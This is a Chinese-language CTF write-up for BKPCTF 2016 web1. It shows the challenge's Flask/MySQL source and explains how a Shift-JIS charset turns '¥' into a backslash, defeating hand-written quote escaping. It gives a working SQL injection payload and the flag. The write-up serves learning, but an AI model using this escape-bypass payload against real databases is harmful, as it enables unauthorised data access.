BKPCTF-web1-日文编码注入

作者: 分类: CTF 时间: 2016-03-07 浏览: 3233 评论: 1条评论

0x00 背景

题目给了一个网站链接和源码

网站就是一个问卷调查 问你name,quest,和喜欢的颜色 然后返回查询结果

不过结果被页面的js处理了一下 只有一个数字

web11.png

可以用chrome的一个websocket应用直接看原来的返回

先看看源码吧

#!/usr/bin/env python

from flask import Flask, render_template, Response
from flask_sockets import Sockets
import json
import MySQLdb

app = Flask(__name__)
sockets = Sockets(app)

with open("config.json") as f:
 connect_params = json.load(f)

connect_params["db"] = "ganbatte"

# Use Shift-JIS for everything so it uses less bytes
Response.charset = "shift-jis"
connect_params["charset"] = "sjis"

questions = [
  "name",
  "quest",
  "favorite color",
]

# List from http://php.net/manual/en/function.mysql-real-escape-string.php
MYSQL_SPECIAL_CHARS = [
  ("\\", "\\\\"),
  ("\0", "\\0"),
  ("\n", "\\n"),
  ("\r", "\\r"),
  ("'", "\\'"),
  ('"', '\\"'),
  ("\x1a", "\\Z"),
]
def mysql_escape(s):
  for find, replace in  MYSQL_SPECIAL_CHARS:
    s = s.replace(find, replace)
  return s

@sockets.route('/ws')
def process_questsions(ws):
  i = 0
  conn = MySQLdb.connect(**connect_params)
  with conn as cursor:
    ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
    while not ws.closed:
      message = ws.receive()
      if not message: continue
      message = json.loads(message)
      if message["type"] == "answer":
        question = mysql_escape(questions[i])
        answer = mysql_escape(message["answer"])
        cursor.execute('INSERT INTO answers (question, answer) VALUES ("%s", "%s")' % (question, answer))
        conn.commit()
        i += 1
        if i < len(questions):
          ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
      elif message["type"] == "get_answer":
        question = mysql_escape(message["question"])
        answer = mysql_escape(message["answer"])
        cursor.execute('SELECT * FROM answers WHERE question="%s" AND answer="%s"' % (question, answer))
        ws.send(json.dumps({"type": "got_answer", "row": cursor.fetchone()}))
      print message

@app.route('/')
def hello():
  return app.send_static_file("index.html")

if __name__ == "__main__":
  from gevent import pywsgi
  from geventwebsocket.handler import WebSocketHandler
  addr = ('localhost', 5000)

  server = pywsgi.WSGIServer(addr, app, handler_class=WebSocketHandler)
  server.serve_forever()

主要是两种形式
1 回答问题 {"type": "answer", "answer": "sunset" }
2 查询答案 {"type": "get_answer", "question": "name", "answer": "sunset"}

然后看看sql语句

cursor.execute('INSERT INTO answers (question, answer) VALUES ("%s", "%s")' % (question, answer))

cursor.execute('SELECT * FROM answers WHERE question="%s" AND answer="%s"' % (question, answer)) 

感觉正常的注入是没有办法的,引号被转义了,又不能2次注入,截断也不行,answer的位置在后面。

卡了一会儿 发现了point

web12.png

查了一下,是日文编码,看来就是编码问题了,类似gbk的宽字节注入。

于是找啊找... 各种说sjis宽字节注入然而..(中间被坑了4个小时) 终于找到了一个资料

http://www.fileformat.info/info/unicode/char/00a5/charset_support.htm

web13.png

意思是说 utf8 的00a5在jp编码下是0x5c 那不是就斜杠么!

于是果断 {"type": "get_answer", "question": "name¥", "answer": "||1#"}

tu.png

BKPCTF{TryYourBestOnTheOthersToo}

最后用一张图证明这里不是宽字节注入

web.png

标签: sqli

订阅本站(RSS)

仅有 1 条评论

  1. zwhubuntu

    叼叼叼~

    时间: 2016-03-07 at 19:09 回复

添加新评论